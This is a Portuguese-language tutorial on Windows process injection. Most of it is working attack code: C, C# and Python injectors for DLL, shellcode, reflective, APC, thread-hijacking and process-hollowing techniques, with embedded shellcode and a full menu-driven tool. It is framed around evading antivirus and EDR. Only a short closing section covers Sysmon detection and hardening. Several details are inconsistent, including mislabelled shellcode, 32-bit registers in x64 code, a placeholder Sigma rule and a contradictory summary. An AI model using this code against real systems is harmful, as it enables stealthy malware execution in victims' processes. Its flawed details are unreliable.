# Classic Process Injection

## 📑 **Índice**

1. [Fundamentos do Process Injection](#-fundamentos-do-process-injection)
2. [Arquitetura e Mecanismos](#-arquitetura-e-mecanismos)
3. [Técnicas de Injeção](#-técnicas-de-injeção)
4. [Implementação em C/C++](#-implementação-em-cc)
5. [Implementação em C#/.NET](#-implementação-em-cnet)
6. [Implementação em Python](#-implementação-em-python)
7. [Detecção e Monitoramento](#-detecção-e-monitoramento)
8. [Mitigação e Prevenção](#-mitigação-e-prevenção)

***

## 🔍 **Fundamentos do Process Injection**

### **O que é Process Injection?**

Process Injection é uma técnica utilizada por malwares e ferramentas de pentest para executar código arbitrário dentro do espaço de memória de um processo legítimo. O objetivo é mascarar a atividade maliciosa, fazendo com que pareça originar de um processo confiável, além de potencialmente escalar privilégios.

### **Por que Process Injection é Utilizado?**

```yaml
Motivações:
  Evasão de Defesas:
    - Antivírus e EDR confiam em processos legítimos
    - Código malicioso roda em contexto confiável
  
  Persistência:
    - Processos injetados podem sobreviver a reinicializações
    - Harder de detectar e remover
  
  Escalonamento de Privilégios:
    - Injetar em processo com privilégios elevados
    - Executar código como SYSTEM ou Administrador
  
  Stealth:
    - Menos artefatos no sistema
    - Dificulta análise forense
```

### **Fluxo Básico da Injeção**

```mermaid
graph TD
    A[Atacante] --> B[Abrir Processo Alvo]
    B --> C[Alocar Memória no Processo]
    C --> D[Escrever Shellcode/Payload]
    D --> E[Criar Thread Remota]
    E --> F[Executar Payload]
    
    B -->|OpenProcess| G[Handle do Processo]
    C -->|VirtualAllocEx| H[Buffer Remoto]
    D -->|WriteProcessMemory| I[Payload Escrito]
    E -->|CreateRemoteThread| J[Thread Executando]
```

***

## 🏗️ **Arquitetura e Mecanismos**

### **APIs Core para Process Injection**

| API                    | Função                                    | Parâmetros Importantes                                                |
| ---------------------- | ----------------------------------------- | --------------------------------------------------------------------- |
| **OpenProcess**        | Abrir handle do processo alvo             | PROCESS\_ALL\_ACCESS, PROCESS\_CREATE\_THREAD, PROCESS\_VM\_OPERATION |
| **VirtualAllocEx**     | Alocar memória no processo remoto         | PAGE\_EXECUTE\_READWRITE                                              |
| **WriteProcessMemory** | Escrever payload no processo              | Buffer, tamanho, offset                                               |
| **CreateRemoteThread** | Criar thread remota para executar payload | StartAddress apontando para payload                                   |

### **Permissões Necessárias**

```c
// Permissões típicas para injeção
#define INJECTION_RIGHTS (PROCESS_CREATE_THREAD | \
                          PROCESS_QUERY_INFORMATION | \
                          PROCESS_VM_OPERATION | \
                          PROCESS_VM_WRITE | \
                          PROCESS_VM_READ)

// Permissões máximas (se possível)
#define MAX_RIGHTS (PROCESS_ALL_ACCESS)
```

### **Tipos de Process Injection**

```mermaid
graph LR
    A[Process Injection] --> B[Classic DLL Injection]
    A --> C[Shellcode Injection]
    A --> D[Reflective DLL Injection]
    A --> E[APC Injection]
    A --> F[Thread Hijacking]
    A --> G[Process Hollowing]
    
    B --> B1[LoadLibraryA via CreateRemoteThread]
    C --> C1[Execute shellcode diretamente]
    D --> D1[DLL que carrega a si mesma]
    E --> E1[QueueUserAPC]
    F --> F1[Hijack thread existente]
    G --> G1[Substituir processo legítimo]
```

***

## ⚔️ **Técnicas de Injeção**

### **1. Classic DLL Injection**

```c
// Injeção de DLL via CreateRemoteThread + LoadLibrary
BOOL InjectDLL(DWORD pid, const char* dllPath) {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProcess) return FALSE;
    
    // Alocar memória para o caminho da DLL
    SIZE_T pathSize = strlen(dllPath) + 1;
    LPVOID remotePath = VirtualAllocEx(hProcess, NULL, pathSize,
                                        MEM_COMMIT | MEM_RESERVE,
                                        PAGE_READWRITE);
    if (!remotePath) return FALSE;
    
    // Escrever caminho da DLL
    WriteProcessMemory(hProcess, remotePath, dllPath, pathSize, NULL);
    
    // Obter endereço de LoadLibraryA
    LPVOID loadLibAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), 
                                         "LoadLibraryA");
    
    // Criar thread remota que chama LoadLibrary
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
                                        (LPTHREAD_START_ROUTINE)loadLibAddr,
                                        remotePath, 0, NULL);
    
    if (hThread) {
        WaitForSingleObject(hThread, INFINITE);
        CloseHandle(hThread);
    }
    
    VirtualFreeEx(hProcess, remotePath, 0, MEM_RELEASE);
    CloseHandle(hProcess);
    
    return hThread != NULL;
}
```

### **2. Shellcode Injection**

```c
// Injeção de shellcode puro
BOOL InjectShellcode(DWORD pid, unsigned char* shellcode, SIZE_T shellcodeSize) {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProcess) return FALSE;
    
    // Alocar memória executável
    LPVOID remoteBuffer = VirtualAllocEx(hProcess, NULL, shellcodeSize,
                                          MEM_COMMIT | MEM_RESERVE,
                                          PAGE_EXECUTE_READWRITE);
    if (!remoteBuffer) return FALSE;
    
    // Escrever shellcode
    WriteProcessMemory(hProcess, remoteBuffer, shellcode, shellcodeSize, NULL);
    
    // Criar thread para executar shellcode
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
                                        (LPTHREAD_START_ROUTINE)remoteBuffer,
                                        NULL, 0, NULL);
    
    if (hThread) {
        WaitForSingleObject(hThread, INFINITE);
        CloseHandle(hThread);
    }
    
    CloseHandle(hProcess);
    return hThread != NULL;
}
```

### **3. Reflective DLL Injection**

```c
// Características:
// - DLL se carrega a si mesma sem LoadLibrary
// - Evita chamadas de API detectáveis
// - Mais furtivo que injeção clássica

typedef HMODULE (WINAPI *ReflectiveLoader)(LPVOID);

BOOL ReflectiveInject(DWORD pid, unsigned char* dllBuffer, SIZE_T dllSize) {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProcess) return FALSE;
    
    // Alocar memória para a DLL
    LPVOID remoteDll = VirtualAllocEx(hProcess, NULL, dllSize,
                                       MEM_COMMIT | MEM_RESERVE,
                                       PAGE_EXECUTE_READWRITE);
    if (!remoteDll) return FALSE;
    
    // Escrever DLL
    WriteProcessMemory(hProcess, remoteDll, dllBuffer, dllSize, NULL);
    
    // Encontrar ReflectiveLoader na DLL
    // (Normalmente nos primeiros bytes)
    LPVOID loaderAddr = remoteDll;
    
    // Criar thread para executar o loader
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
                                        (LPTHREAD_START_ROUTINE)loaderAddr,
                                        remoteDll, 0, NULL);
    
    if (hThread) {
        WaitForSingleObject(hThread, INFINITE);
        CloseHandle(hThread);
    }
    
    CloseHandle(hProcess);
    return hThread != NULL;
}
```

### **4. Process Hollowing**

```c
// Substituir processo legítimo por código malicioso
BOOL ProcessHollowing(const char* targetProcess, unsigned char* payload, SIZE_T payloadSize) {
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi;
    
    // Criar processo em estado suspenso
    CreateProcess(targetProcess, NULL, NULL, NULL, FALSE,
                  CREATE_SUSPENDED, NULL, NULL, &si, &pi);
    
    // Obter contexto da thread principal
    CONTEXT ctx = { CONTEXT_FULL };
    GetThreadContext(pi.hThread, &ctx);
    
    // Ler cabeçalho PE original
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)payload;
    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(payload + dosHeader->e_lfanew);
    
    // Alocar memória para o payload
    LPVOID remoteImage = VirtualAllocEx(pi.hProcess, 
                                         (LPVOID)ntHeaders->OptionalHeader.ImageBase,
                                         ntHeaders->OptionalHeader.SizeOfImage,
                                         MEM_COMMIT | MEM_RESERVE,
                                         PAGE_EXECUTE_READWRITE);
    
    // Escrever payload
    WriteProcessMemory(pi.hProcess, remoteImage, payload, 
                       ntHeaders->OptionalHeader.SizeOfHeaders, NULL);
    
    // Escrever seções
    PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
    for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
        WriteProcessMemory(pi.hProcess, 
                           (LPVOID)((DWORD_PTR)remoteImage + section[i].VirtualAddress),
                           payload + section[i].PointerToRawData,
                           section[i].SizeOfRawData, NULL);
    }
    
    // Atualizar contexto
    ctx.Eax = (DWORD_PTR)remoteImage + ntHeaders->OptionalHeader.AddressOfEntryPoint;
    SetThreadContext(pi.hThread, &ctx);
    
    // Retomar processo
    ResumeThread(pi.hThread);
    
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    
    return TRUE;
}
```

### **5. Thread Hijacking**

```c
// Sequestrar thread existente para executar shellcode
BOOL ThreadHijack(DWORD pid, unsigned char* shellcode, SIZE_T shellcodeSize) {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProcess) return FALSE;
    
    // Alocar memória para shellcode
    LPVOID remoteBuffer = VirtualAllocEx(hProcess, NULL, shellcodeSize,
                                          MEM_COMMIT | MEM_RESERVE,
                                          PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hProcess, remoteBuffer, shellcode, shellcodeSize, NULL);
    
    // Encontrar thread do processo
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    THREADENTRY32 te = { sizeof(THREADENTRY32) };
    DWORD tid = 0;
    
    if (Thread32First(hSnapshot, &te)) {
        do {
            if (te.th32OwnerProcessID == pid) {
                tid = te.th32ThreadID;
                break;
            }
        } while (Thread32Next(hSnapshot, &te));
    }
    CloseHandle(hSnapshot);
    
    if (!tid) return FALSE;
    
    // Abrir e suspender thread
    HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, tid);
    SuspendThread(hThread);
    
    // Salvar contexto
    CONTEXT ctx = { CONTEXT_FULL };
    GetThreadContext(hThread, &ctx);
    
    // Redirecionar execução para shellcode
    DWORD_PTR oldIP = ctx.Eip;
    ctx.Eip = (DWORD_PTR)remoteBuffer;
    SetThreadContext(hThread, &ctx);
    
    // Retomar thread
    ResumeThread(hThread);
    
    // Aguardar execução e restaurar contexto
    Sleep(100);
    SuspendThread(hThread);
    ctx.Eip = oldIP;
    SetThreadContext(hThread, &ctx);
    ResumeThread(hThread);
    
    CloseHandle(hThread);
    CloseHandle(hProcess);
    
    return TRUE;
}
```

### **6. APC Injection via CreateRemoteThread**

```c
// APC injection usando QueueUserAPC
BOOL APCInject(DWORD pid, unsigned char* shellcode, SIZE_T shellcodeSize) {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProcess) return FALSE;
    
    // Alocar memória
    LPVOID remoteBuffer = VirtualAllocEx(hProcess, NULL, shellcodeSize,
                                          MEM_COMMIT | MEM_RESERVE,
                                          PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hProcess, remoteBuffer, shellcode, shellcodeSize, NULL);
    
    // Encontrar thread
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    THREADENTRY32 te = { sizeof(THREADENTRY32) };
    
    if (Thread32First(hSnapshot, &te)) {
        do {
            if (te.th32OwnerProcessID == pid) {
                HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, te.th32ThreadID);
                if (hThread) {
                    QueueUserAPC((PAPCFUNC)remoteBuffer, hThread, 0);
                    CloseHandle(hThread);
                }
            }
        } while (Thread32Next(hSnapshot, &te));
    }
    
    CloseHandle(hSnapshot);
    CloseHandle(hProcess);
    return TRUE;
}
```

***

## 🔧 **Implementação em C/C++**

### **Código Completo - Shellcode Injection**

```c
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

// Shellcode para MessageBoxA (calc.exe)
unsigned char shellcode[] = 
"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff"
"\x48\xbb\x72\x61\x72\x2e\x65\x78\x65\x00\x50\x48\x89\xe2\x48\x83\xec"
"\x20\x48\x89\xe1\x48\x31\xc0\x50\x51\x52\x48\xb9\x63\x6d\x64\x2e\x65"
"\x78\x65\x00\x51\x48\x89\xe1\xff\xd0\x48\x83\xc4\x28\xc3";

SIZE_T shellcodeSize = sizeof(shellcode);

// Obter nome do processo a partir do PID
BOOL GetProcessName(DWORD pid, char* name, DWORD nameSize) {
    HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid);
    if (!hProcess) return FALSE;
    
    HMODULE hMod;
    DWORD cbNeeded;
    if (EnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) {
        GetModuleBaseName(hProcess, hMod, name, nameSize);
    }
    
    CloseHandle(hProcess);
    return TRUE;
}

// Listar processos do sistema
void ListProcesses() {
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) return;
    
    PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
    printf("\n=== Processos em Execução ===\n");
    printf("%-8s %-30s\n", "PID", "Nome do Processo");
    printf("----------------------------------------\n");
    
    if (Process32First(hSnapshot, &pe)) {
        do {
            printf("%-8lu %-30s\n", pe.th32ProcessID, pe.szExeFile);
        } while (Process32Next(hSnapshot, &pe));
    }
    
    CloseHandle(hSnapshot);
}

// Encontrar thread do processo
DWORD FindThread(DWORD pid) {
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) return 0;
    
    THREADENTRY32 te = { sizeof(THREADENTRY32) };
    DWORD tid = 0;
    
    if (Thread32First(hSnapshot, &te)) {
        do {
            if (te.th32OwnerProcessID == pid) {
                tid = te.th32ThreadID;
                break;
            }
        } while (Thread32Next(hSnapshot, &te));
    }
    
    CloseHandle(hSnapshot);
    return tid;
}

// Injeção via CreateRemoteThread
BOOL InjectCreateRemoteThread(DWORD pid) {
    printf("\n[*] Injetando via CreateRemoteThread em PID %lu\n", pid);
    
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProcess) {
        printf("[-] Falha ao abrir processo (Erro: %lu)\n", GetLastError());
        return FALSE;
    }
    
    LPVOID remoteBuffer = VirtualAllocEx(hProcess, NULL, shellcodeSize,
                                          MEM_COMMIT | MEM_RESERVE,
                                          PAGE_EXECUTE_READWRITE);
    if (!remoteBuffer) {
        printf("[-] Falha ao alocar memória\n");
        CloseHandle(hProcess);
        return FALSE;
    }
    
    if (!WriteProcessMemory(hProcess, remoteBuffer, shellcode, shellcodeSize, NULL)) {
        printf("[-] Falha ao escrever shellcode\n");
        VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }
    
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
                                        (LPTHREAD_START_ROUTINE)remoteBuffer,
                                        NULL, 0, NULL);
    
    if (!hThread) {
        printf("[-] Falha ao criar thread remota\n");
        VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }
    
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
    VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
    CloseHandle(hProcess);
    
    printf("[+] Injeção via CreateRemoteThread concluída!\n");
    return TRUE;
}

// Injeção via APC
BOOL InjectAPC(DWORD pid) {
    printf("\n[*] Injetando via APC em PID %lu\n", pid);
    
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProcess) {
        printf("[-] Falha ao abrir processo\n");
        return FALSE;
    }
    
    LPVOID remoteBuffer = VirtualAllocEx(hProcess, NULL, shellcodeSize,
                                          MEM_COMMIT | MEM_RESERVE,
                                          PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hProcess, remoteBuffer, shellcode, shellcodeSize, NULL);
    
    DWORD tid = FindThread(pid);
    if (!tid) {
        printf("[-] Nenhuma thread encontrada\n");
        VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }
    
    HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, tid);
    if (!hThread) {
        printf("[-] Falha ao abrir thread\n");
        VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }
    
    QueueUserAPC((PAPCFUNC)remoteBuffer, hThread, 0);
    
    CloseHandle(hThread);
    CloseHandle(hProcess);
    
    printf("[+] Injeção via APC concluída!\n");
    return TRUE;
}

// Injeção via Thread Hijacking
BOOL InjectThreadHijack(DWORD pid) {
    printf("\n[*] Injetando via Thread Hijacking em PID %lu\n", pid);
    
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProcess) return FALSE;
    
    LPVOID remoteBuffer = VirtualAllocEx(hProcess, NULL, shellcodeSize,
                                          MEM_COMMIT | MEM_RESERVE,
                                          PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hProcess, remoteBuffer, shellcode, shellcodeSize, NULL);
    
    DWORD tid = FindThread(pid);
    if (!tid) return FALSE;
    
    HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, tid);
    if (!hThread) return FALSE;
    
    SuspendThread(hThread);
    
    CONTEXT ctx = { CONTEXT_FULL };
    GetThreadContext(hThread, &ctx);
    
    DWORD_PTR oldIP = ctx.Eip;
    ctx.Eip = (DWORD_PTR)remoteBuffer;
    SetThreadContext(hThread, &ctx);
    
    ResumeThread(hThread);
    
    // Aguardar execução do payload
    Sleep(2000);
    
    // Restaurar contexto
    SuspendThread(hThread);
    ctx.Eip = oldIP;
    SetThreadContext(hThread, &ctx);
    ResumeThread(hThread);
    
    CloseHandle(hThread);
    CloseHandle(hProcess);
    
    printf("[+] Injeção via Thread Hijacking concluída!\n");
    return TRUE;
}

int main() {
    printf("=== Classic Process Injection ===\n");
    printf("1. Listar Processos\n");
    printf("2. Inject via CreateRemoteThread\n");
    printf("3. Inject via APC\n");
    printf("4. Inject via Thread Hijacking\n");
    printf("Escolha: ");
    
    int choice;
    scanf("%d", &choice);
    
    if (choice == 1) {
        ListProcesses();
        return 0;
    }
    
    DWORD pid;
    printf("PID do processo alvo: ");
    scanf("%lu", &pid);
    
    switch(choice) {
        case 2:
            InjectCreateRemoteThread(pid);
            break;
        case 3:
            InjectAPC(pid);
            break;
        case 4:
            InjectThreadHijack(pid);
            break;
        default:
            printf("Opção inválida\n");
    }
    
    return 0;
}
```

***

## 🚀 **Implementação em C#/.NET**

```csharp
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;

class ProcessInjection
{
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, 
                                         uint flAllocationType, uint flProtect);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, 
                                          byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, 
                                            uint dwStackSize, IntPtr lpStartAddress, 
                                            IntPtr lpParameter, uint dwCreationFlags, 
                                            out IntPtr lpThreadId);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool CloseHandle(IntPtr hObject);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
    
    const uint PROCESS_ALL_ACCESS = 0x1F0FFF;
    const uint MEM_COMMIT = 0x1000;
    const uint MEM_RESERVE = 0x2000;
    const uint PAGE_EXECUTE_READWRITE = 0x40;
    const uint INFINITE = 0xFFFFFFFF;
    
    // Shellcode para MessageBox (calc.exe)
    static byte[] shellcode = new byte[] {
        0x48, 0x31, 0xC0, 0x50, 0x48, 0xB8, 0x63, 0x61, 0x6C, 0x63,
        0x2E, 0x65, 0x78, 0x65, 0x50, 0x48, 0x89, 0xE2, 0x48, 0x31,
        0xC0, 0x50, 0x48, 0x8D, 0x52, 0x04, 0x48, 0x89, 0xE1, 0x48,
        0x31, 0xC0, 0xB0, 0x3B, 0x0F, 0x05
    };
    
    static void ListProcesses()
    {
        Console.WriteLine("\n=== Processos em Execução ===");
        Console.WriteLine("{0,-8} {1,-40}", "PID", "Nome do Processo");
        Console.WriteLine(new string('-', 50));
        
        foreach (var proc in Process.GetProcesses())
        {
            try
            {
                Console.WriteLine("{0,-8} {1,-40}", proc.Id, proc.ProcessName);
            }
            catch { }
        }
    }
    
    static bool InjectCreateRemoteThread(int pid)
    {
        Console.WriteLine($"[*] Injetando via CreateRemoteThread em PID {pid}");
        
        IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
        if (hProcess == IntPtr.Zero)
        {
            Console.WriteLine("[-] Falha ao abrir processo");
            return false;
        }
        
        IntPtr remoteBuffer = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)shellcode.Length,
                                              MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (remoteBuffer == IntPtr.Zero)
        {
            Console.WriteLine("[-] Falha ao alocar memória");
            CloseHandle(hProcess);
            return false;
        }
        
        IntPtr bytesWritten;
        bool success = WriteProcessMemory(hProcess, remoteBuffer, shellcode, 
                                           (uint)shellcode.Length, out bytesWritten);
        if (!success)
        {
            Console.WriteLine("[-] Falha ao escrever shellcode");
            CloseHandle(hProcess);
            return false;
        }
        
        IntPtr threadId;
        IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, remoteBuffer, 
                                            IntPtr.Zero, 0, out threadId);
        
        if (hThread == IntPtr.Zero)
        {
            Console.WriteLine("[-] Falha ao criar thread remota");
            CloseHandle(hProcess);
            return false;
        }
        
        WaitForSingleObject(hThread, INFINITE);
        CloseHandle(hThread);
        CloseHandle(hProcess);
        
        Console.WriteLine("[+] Injeção concluída!");
        return true;
    }
    
    static void Main(string[] args)
    {
        Console.WriteLine("=== Classic Process Injection (.NET) ===");
        Console.WriteLine("1. Listar Processos");
        Console.WriteLine("2. Inject via CreateRemoteThread");
        Console.Write("Escolha: ");
        
        int choice = int.Parse(Console.ReadLine());
        
        if (choice == 1)
        {
            ListProcesses();
            return;
        }
        
        Console.Write("PID do processo alvo: ");
        int pid = int.Parse(Console.ReadLine());
        
        if (choice == 2)
        {
            InjectCreateRemoteThread(pid);
        }
    }
}
```

***

## 🐍 **Implementação em Python**

```python
#!/usr/bin/env python3
# process_injection.py

import ctypes
import struct
import sys

# Windows API definitions
kernel32 = ctypes.windll.kernel32

# Constants
PROCESS_ALL_ACCESS = 0x1F0FFF
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
INFINITE = 0xFFFFFFFF

# Shellcode (calc.exe)
shellcode = bytearray([
    0x48, 0x31, 0xC0, 0x50, 0x48, 0xB8, 0x63, 0x61, 0x6C, 0x63,
    0x2E, 0x65, 0x78, 0x65, 0x50, 0x48, 0x89, 0xE2, 0x48, 0x31,
    0xC0, 0x50, 0x48, 0x8D, 0x52, 0x04, 0x48, 0x89, 0xE1, 0x48,
    0x31, 0xC0, 0xB0, 0x3B, 0x0F, 0x05
])

def list_processes():
    """Listar processos do sistema"""
    import psutil
    print("\n=== Processos em Execução ===")
    print(f"{'PID':<8} {'Nome do Processo':<40}")
    print("-" * 50)
    
    for proc in psutil.process_iter(['pid', 'name']):
        try:
            print(f"{proc.info['pid']:<8} {proc.info['name']:<40}")
        except:
            pass

def inject_create_remote_thread(pid):
    """Injeção via CreateRemoteThread"""
    print(f"[*] Injetando via CreateRemoteThread em PID {pid}")
    
    # Abrir processo
    hProcess = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, pid)
    if not hProcess:
        print(f"[-] Falha ao abrir processo (Erro: {ctypes.get_last_error()})")
        return False
    
    # Alocar memória
    remoteBuffer = kernel32.VirtualAllocEx(
        hProcess, None, len(shellcode),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    )
    
    if not remoteBuffer:
        print("[-] Falha ao alocar memória")
        kernel32.CloseHandle(hProcess)
        return False
    
    # Escrever shellcode
    bytesWritten = ctypes.c_size_t(0)
    success = kernel32.WriteProcessMemory(
        hProcess, remoteBuffer, shellcode,
        len(shellcode), ctypes.byref(bytesWritten)
    )
    
    if not success:
        print("[-] Falha ao escrever shellcode")
        kernel32.VirtualFreeEx(hProcess, remoteBuffer, 0, 0x8000)
        kernel32.CloseHandle(hProcess)
        return False
    
    # Criar thread remota
    threadId = ctypes.c_ulong(0)
    hThread = kernel32.CreateRemoteThread(
        hProcess, None, 0, remoteBuffer,
        None, 0, ctypes.byref(threadId)
    )
    
    if not hThread:
        print("[-] Falha ao criar thread remota")
        kernel32.VirtualFreeEx(hProcess, remoteBuffer, 0, 0x8000)
        kernel32.CloseHandle(hProcess)
        return False
    
    # Aguardar execução
    kernel32.WaitForSingleObject(hThread, INFINITE)
    
    # Limpeza
    kernel32.CloseHandle(hThread)
    kernel32.VirtualFreeEx(hProcess, remoteBuffer, 0, 0x8000)
    kernel32.CloseHandle(hProcess)
    
    print("[+] Injeção concluída!")
    return True

def main():
    print("=== Classic Process Injection (Python) ===")
    print("1. Listar Processos")
    print("2. Inject via CreateRemoteThread")
    
    try:
        choice = int(input("Escolha: "))
    except:
        print("Opção inválida")
        return
    
    if choice == 1:
        list_processes()
    elif choice == 2:
        try:
            pid = int(input("PID do processo alvo: "))
            inject_create_remote_thread(pid)
        except ValueError:
            print("PID inválido")
    else:
        print("Opção inválida")

if __name__ == "__main__":
    main()
```

***

## 🔍 **Detecção e Monitoramento**

### **Eventos a Monitorar**

```yaml
Eventos de Processo:
  - Event ID 4688: Criação de processo
  - Event ID 1 (Sysmon): Process creation

Eventos de Thread:
  - Event ID 8 (Sysmon): CreateRemoteThread
  - Event ID 10 (Sysmon): ProcessAccess

Eventos de Memória:
  - Event ID 10: ProcessAccess (VirtualAllocEx, WriteProcessMemory)
  - Event ID 7: Image loaded

APIs Suspeitas:
  - OpenProcess (com direitos específicos)
  - VirtualAllocEx (com PAGE_EXECUTE_READWRITE)
  - WriteProcessMemory
  - CreateRemoteThread
  - QueueUserAPC
  - NtCreateThreadEx
```

### **Regras de Detecção (Sigma)**

```yaml
title: Process Injection Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detecta tentativas de process injection
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 8
        TargetImage: '*\*'
        SourceImage:
            - '*\*'
    condition: selection
```

### **Sysmon Configuration**

```xml
<Sysmon>
    <EventFiltering>
        <!-- Monitorar CreateRemoteThread -->
        <CreateRemoteThread onmatch="include">
            <SourceImage condition="contains">explorer.exe</SourceImage>
            <TargetImage condition="contains">notepad.exe</TargetImage>
        </CreateRemoteThread>
        
        <!-- Monitorar acesso a processos -->
        <ProcessAccess onmatch="include">
            <GrantedAccess condition="is">0x1F0FFF</GrantedAccess>
        </ProcessAccess>
    </EventFiltering>
</Sysmon>
```

***

## 🛡️ **Mitigação e Prevenção**

### **Hardening do Sistema**

```powershell
# Habilitar ASLR
Set-ProcessMitigation -System -Enable ASLR

# Habilitar CFG (Control Flow Guard)
Set-ProcessMitigation -System -Enable CFG

# Habilitar DEP (Data Execution Prevention)
bcdedit.exe /set {current} nx AlwaysOn

# Habilitar Windows Defender Application Control
# WDAC policies
```

### **Proteções de Processo**

```c
// Adicionar proteções ao processo
void EnableProcessProtections(HANDLE hProcess) {
    PROCESS_MITIGATION_ASLR_POLICY aslr = {0};
    aslr.EnableBottomUpRandomization = 1;
    aslr.EnableForceRelocateImages = 1;
    SetProcessMitigationPolicy(ProcessASLRPolicy, &aslr, sizeof(aslr));
    
    PROCESS_MITIGATION_DEP_POLICY dep = {0};
    dep.Enable = 1;
    dep.Permanent = 1;
    SetProcessMitigationPolicy(ProcessDEPPolicy, &dep, sizeof(dep));
}
```

### **Configurações de Segurança**

```yaml
Recomendações:
  - Manter Windows atualizado
  - Habilitar Windows Defender
  - Configurar Attack Surface Reduction (ASR) rules:
    - Block process injections
    - Block Office applications from creating child processes
    - Block executable files from running unless they meet criteria
  - Usar Windows Defender Application Control
  - Implementar Exploit Protection (EMET)
```

***

## 📋 **Checklists de Segurança**

### **Checklist de Prevenção**

* [ ] **Sistema**
  * [ ] Habilitar ASLR e DEP
  * [ ] Configurar CFG
  * [ ] Manter Windows atualizado
* [ ] **Aplicações**
  * [ ] Compilar com /DYNAMICBASE, /NXCOMPAT, /GUARD:CF
  * [ ] Implementar controle de integridade
* [ ] **Monitoramento**
  * [ ] Configurar Sysmon
  * [ ] Monitorar eventos 8, 10, 7
  * [ ] Alertar sobre CreateRemoteThread

### **Checklist de Teste**

* [ ] **Reconhecimento**
  * [ ] Identificar processos alvo
  * [ ] Verificar privilégios
* [ ] **Execução**
  * [ ] Testar CreateRemoteThread
  * [ ] Testar APC injection
  * [ ] Testar Thread Hijacking
* [ ] **Validação**
  * [ ] Verificar execução do shellcode
  * [ ] Documentar técnicas detectadas

***

## 📊 **Conclusão e Boas Práticas**

### **Resumo Técnico**

```yaml
Classic Process Injection:
  ✅ Técnica fundamental para evasão de defesas
  ✅ Múltiplas variações disponíveis
  ✅ Requer privilégios adequados

Defesas essenciais:
  ❌ Monitorar CreateRemoteThread
  ✓ Habilitar ASLR e DEP
